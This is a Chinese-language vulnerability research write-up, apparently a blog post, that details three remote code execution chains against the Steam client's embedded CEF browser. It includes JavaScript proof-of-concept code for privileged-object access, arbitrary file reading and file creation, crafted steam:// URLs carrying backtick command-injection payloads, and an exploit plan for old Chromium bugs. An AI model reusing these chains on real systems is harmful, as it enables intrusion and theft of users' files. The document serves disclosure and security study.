利用 Steam:CEF 框架中的常见与非常见方法

823 阅读10分钟

本文介绍了 Chromium Embedded Framework (CEF) 中的一些安全漏洞,并以 Steam 客户端浏览器为例,展示了如何利用这些漏洞构建远程代码执行 (RCE) 链。

RCE #1:steamwebhelper 中的多重问题导致 RCE

steamwebhelper 是 Steam 客户端内置的浏览器,用于渲染商店、社区和好友等页面。它基于 CEF 开发,并在其基础上添加了一些功能。通过研究,我们发现了一系列由这些附加功能引起的逻辑漏洞和问题,最终导致 RCE。

在外部页面获取 SteamClient 对象

当 steamwebhelper 加载某些特定页面(如 steampowered.com 和 steamloopback.host)时,它会将一个名为 SteamClient 的特权对象注入到 JavaScript 环境中。通过逆向工程,我们发现对于带有域名的 URL,steamwebhelper 会调用 BIsTrustedDomain 来检查该域名是否在白名单中。对于不带域名的 URL,它会检查协议是否为 dataabout

虽然从外部页面加载白名单中的域名会受到同源策略的限制,但是加载像 about:blank 这样的页面则不会。因此,我们可以在我们自己的可控页面上打开 about:blank,获取并使用它的 SteamClient 对象。

示例代码 (PoC):

ab_page = open("about:blank");
s_client = ab_page.SteamClient;
alert(s_client);

使用 BrowserView 加载 File 协议

SteamClient 是 Steam 内部页面使用的特权对象,它具有许多特权功能,例如操作当前 Browser 对象、管理窗口位置、下载任何文件等。

通过 SteamClient.BrowserView,我们可以创建和管理 BrowserView。经过测试,BrowserView 类似于普通网页中的 iframe,是嵌入在原始网页中的子页面,但与此对象的交互由 Steam 本身实现。

在测试 BrowserView 的功能时,我们发现调用 BrowserView.LoadURL 不受任何安全策略的限制,可以加载任何协议或域名的 URL,包括像 chrome://file:// 这样的高权限协议。

示例代码 (PoC):

b_view = s_client.BrowserView.Create();
b_view.LoadURL("file:///etc/passwd");
b_view.SetBounds(0, 0, 1000, 1000);
b_view.SetVisible(true);

这个例子可以直接读取服务器上面的 /etc/passwd 文件。

访问 BrowserView 中加载的页面内容以读取任意文件

现在,我们可以使用 LoadURL 加载任何本地文件,但我们仍然无法直接读取页面内容。通过测试和逆向工程 BrowserView 对象,我们发现它的 FindInPage 功能可以搜索页面中的特定字符串,并且通过调用 BrowserView.on("find-in-page-results", callback),我们可以注册一个回调函数来处理搜索结果。

因此,问题就变成了:如果我们可以在页面中搜索一个可控的字符串并获得搜索结果,我们是否可以访问页面内容?

答案是肯定的。通过逐字节的暴力破解,我们最终可以实现读取任意文件的效果。

示例代码 (PoC,通过读取 file:///home/ 获取用户名):

async function is_str_in_bv(bv, s, count) {
  window.stage = 0;
  bv.FindInPage(s, true, true);
  while (window.stage < 3) { await sleep(10); }
  return window.count > count;
}

b_view.on("find-in-page-results", (a, b) => {
  if (window.stage == 0) {
    if (a == 0 && b == 0) { window.stage = 3; window.count = 0; }
    else window.stage++;
  }
  else if (window.stage++ == 2) window.count = a;
});
baseuser = "/";
charset = "abcdefghijklmnopqrstuvwxyz";
while (true) {
  found = false;
  for (c of charset) {
    teststr = c + baseuser;
    count = 0;
    if ("home/".endsWith(teststr)) count = 1;
    if (await is_str_in_bv(b_view, teststr, count)) {
      found = true;
      break;
    };
  }
  if (!found) break;
  baseuser = teststr;
}
alert(baseuser);

从任意文件读取到任意文件创建

之前有报告指出,可以通过 steam://devkit-1list-shortcuts 等功能实现任意文件创建(但文件内容不可控)。该漏洞的修复方法是在 ~/.steam/steam.token 文件中生成一个随机字符串,并在使用 steam://devkit-1 相关功能时验证此令牌。

但实际上,这种方法并没有修复此功能的逻辑缺陷。如果攻击者可以读取令牌的内容,他们就可以轻松绕过此修复。

现在,我们可以使用任意文件读取功能来获取令牌的内容,从而使用此功能来创建任意文件。

但是,当从 steamwebhelper 打开 steam:// URL 时,会有一个检查,只有白名单中的功能才能直接从内置浏览器打开。devkit-1 不在其中。

经过研究,我们发现白名单中的 steam://openexternalforpid/ 会解析其内部的 URL 并加载它。通过打开 steam://openexternalforpid/1/steam://devkit-1/,我们可以绕过白名单检查,从而实现任意文件创建。

示例代码 (PoC):

open("steam://openexternalforpid/1/steam://devkit-1/" + token + "/list-shortcuts?response=/tmp/hacked");

这个例子中,需要首先读取 ~/.steam/steam.token 文件的内容,然后将读取的内容放到 URL 里面。这个例子可以在 /tmp/hacked 写入一些文件。

从任意文件创建到 RCE

steam:// URL 提供的众多功能中,steam://AddNonSteamGame 看起来非常有趣。顾名思义,它允许将用户提供的字符串作为非 Steam 游戏添加到 Steam 游戏库中。Steam 客户端将非 Steam 游戏作为 shell 脚本执行,因此我们可以在字符串中插入反引号来创建一个执行任意命令的游戏。要使用此功能,需要首先创建 /tmp/addnonsteamgamefile 文件。Steam 客户端会检查此文件是否存在,并尝试从中读取 gameid。如果它读取到无效的 gameid,它将随机生成一个,也就是说文件的内容不影响功能。

巧合的是,我们之前拥有的任意文件创建能力完全满足此要求,允许我们添加任何自定义游戏。

在尝试触发此漏洞时,我们发现 steam://openexternalforpid 会将其打开的 URL 中的域名转换为小写。例如,steam://openexternalforpid/1/steam://AddNonSteamGame/ 将更改为 steam://addnonsteamgame/,从而阻止 Steam 正确识别它。

经过各种尝试,我们发现了一个解决方法,即使用额外的 steam://open 层:

steam://open/steam://AddNonSteamGame/%60gnome-calculator%60

此时,我们终于可以创建任意恶意游戏。但是,要运行该游戏,我们需要知道该游戏的 gameid,而我们不知道这个随机生成的 64 位数字。对于已经具有读取任何文件能力的人来说,这不是一个大问题。通过读取 ~/.local/share/Steam/logs/console_log.txt,我们可以找到新创建的恶意游戏的 App id。

[2023-11-21 04:11:53] ExecuteSteamURL: "steam://open/steam://AddNonSteamGame/%60gnome-calculator%60"
[2023-11-21 04:11:53] ExecuteSteamURL: "steam://AddNonSteamGame/%60gnome-calculator%60"
[2023-11-21 04:11:53] GLibLog: domain:Gtk  msg:gtk_disable_setlocale() must be called before gtk_init()
[2023-11-21 04:11:53] sanitize shortcut app id "`gnome-calculator`": replacing 0 with 3843969204, reason: k_unAppIdInvalid

最终的 gameid 可以从日志中找到的 App id 计算出来。gameid 等于 app_id << 32 | 0x2000000。一旦我们知道 gameid,我们就可以使用 steam://rungameid 启动它。

RCE #2:steam://rungame 中的命令注入

steam://rungame 是 Steam 提供的一种 URL scheme 函数,可用于启动游戏并指定其命令行参数。在 Linux 客户端中打开时,它会执行以下命令:

/bin/sh -c /home/bob/.local/share/Steam/ubuntu12_32/reaper SteamLaunch AppId={appid} -- /home/bob/.local/share/Steam/ubuntu12_32/steam-launch-wrapper -- {gamepath} {argument}

由于它是由 /bin/sh -c 执行的,因此存在命令注入的可能性。我们尝试在命令行参数中添加 "ls",发现它变成了 "'ls'"。由于反引号被单引号包裹,因此无法直接进行命令注入。

然后,我们尝试在命令行参数中添加单引号以打破单引号的配对,但发现单引号直接消失了。

因此,我们分析了 steam://rungame 的逻辑并进行了一个简单的逆向工程分析,发现它的步骤大致如下:

  1. 调用 V_ParseShellCommandLine,其中过滤掉单个 ',并将 \' 替换为 '
  2. 调用 V_EscapeShellArgumentAndAppend 以使用单引号包装参数,并将参数中的 ' 替换为 '\''
  3. \ 替换为 \\
  4. 将其连接到命令字符串以供执行。

很明显,在第三步中,所有 \ 都被视为普通字符。为了让 /bin/sh 正确处理,添加了一个额外的 \ 作为转义字符,但是没有考虑到 \ 本身可能是转义字符的可能性。如果我们设置我们的输入为 \'\gnome-calculator\',经过以上四个步骤后,它将变成 ''\\''\gnome-calculator'\\'''。很明显,将 \ 替换为 \\ 会破坏单引号的正确配对,导致 "gnome-calculator" 出现在单引号之外,从而导致命令注入问题。

最后,为了生成一个可以被 steam://rungame 正确处理的 URL,需要对 \ 进行 URL 编码。最终的 PoC:

<a href="steam://rungame/262410/76561202255233023/%5c'`gnome-calculator`%5c'">POPUP gnome-calculator</a>

在此 PoC 中,262410 是“World of Guns: Gun Disassembly”的 App id,它可以替换为任何已安装的、解析命令行参数的游戏(大多数游戏都支持此功能)。

RCE #3:Chrome 中的历史漏洞

Steam 中的内置浏览器基于 Chromium Embedded Framework (CEF) 版本 85.0.4183.121 开发。CEF 是一个用于在应用程序中嵌入 Chromium 的框架,与 Chromium 的版本号同步。Chromium 版本 85.0.4183.121 于 2020 年 9 月发布,此后发现了许多历史漏洞,但几乎所有漏洞都未被 Steam 修复。

我们选择了 v8 漏洞 (Issue 1234764) 和沙箱逃逸漏洞 (Issue 1251727) 来实现 RCE。

前者是 Right Operand Rotating 的一个优化错误,允许在渲染器进程中进行任意地址读取和写入。漏洞报告的附件中详细解释了利用此漏洞的方法,这里不再赘述。

后者是一个逻辑漏洞。对于通过 Mojo 调用的 CreateChildFrame 创建的 kPortalkFencedframe 类型的帧,它们的状态永远不会更改为 kCreated。这导致它们的析构函数不会调用 WebContentsObserver::RenderFrameDeleted 来通知持有 RenderFrameHostImpl 原始指针的对象,从而导致 UAF。此漏洞质量很高,因为可以随时触发 free 和 use 操作,并且后续利用可以利用 RenderFrameHostImpl 下的任何 Mojo 接口。但是,由于漏洞报告中的原始 PoC 通过源代码补丁触发该错误,因此要实现此效果,需要修补二进制文件以添加用于发送 Mojo 消息的 shellcode。

在编写 exploit 的实际过程中,为了减少工作量,我们的目标是尽可能少地修补二进制文件,而更喜欢用 JavaScript 编写 exploit。但是,我们发现 kPortal 类型的帧无法通过指定 src 来加载 HTML 文档,因此无法在这些帧中执行 JavaScript。一种选择是修补并使用 RenderFrameImpl::ExecuteJavaScript 函数来执行 JavaScript。然后,正如 Tim Becker 在 Cleanly Escaping the Chrome Sandbox 中建议的那样,我们可以使用一种通用方法,将 Mojo handle 从 portal 帧发送到主帧以进行利用。

但是,此方法仍然需要修补。在这里,我们提出了一种新的利用技术,该技术允许无法执行 JavaScript 的 portal 帧在不需要补丁的情况下发送 Mojo 消息,前提是渲染器中存在任意读取和写入功能。

我们的研究表明,在发送 Mojo 消息时,实际的路由和处理由 mojo::Remote 字段 internal_state_.proxy_ 管理。我们可以利用 v8 漏洞从 g_frame_map 读取 portal 的 RenderFrameImpl 的地址,并对其进行操作以“窃取” proxy_ 成员并将其提供给我们控制下的另一个 iframe。这允许我们使用受控的 iframe 冒充 portal 并使用 JavaScript 发送 Mojo 消息。

总体利用策略如下:

  1. 使用 v8 漏洞启用 Mojo JS。
  2. 创建一个 iframe A 并使用 v8 漏洞劫持其 vtable,修改其 OwnerType 以假装是一个 portal 帧。
  3. 创建另一个 iframe B 以稍后执行 JavaScript。
  4. 使用 v8 漏洞从 g_frame_map 读取 A 和 B 的 RenderFrameImpl 的地址。
  5. 使用 v8 漏洞将 A 的 proxy_ 分配给 B。
  6. 使用 B 创建 Mojo 连接。
  7. 删除 A,触发 RenderFrameHostImpl 的销毁。
  8. 使用 B 触发 UAF。
  9. 使用 Blob 作为占位符,控制 vtable 和其他后续利用。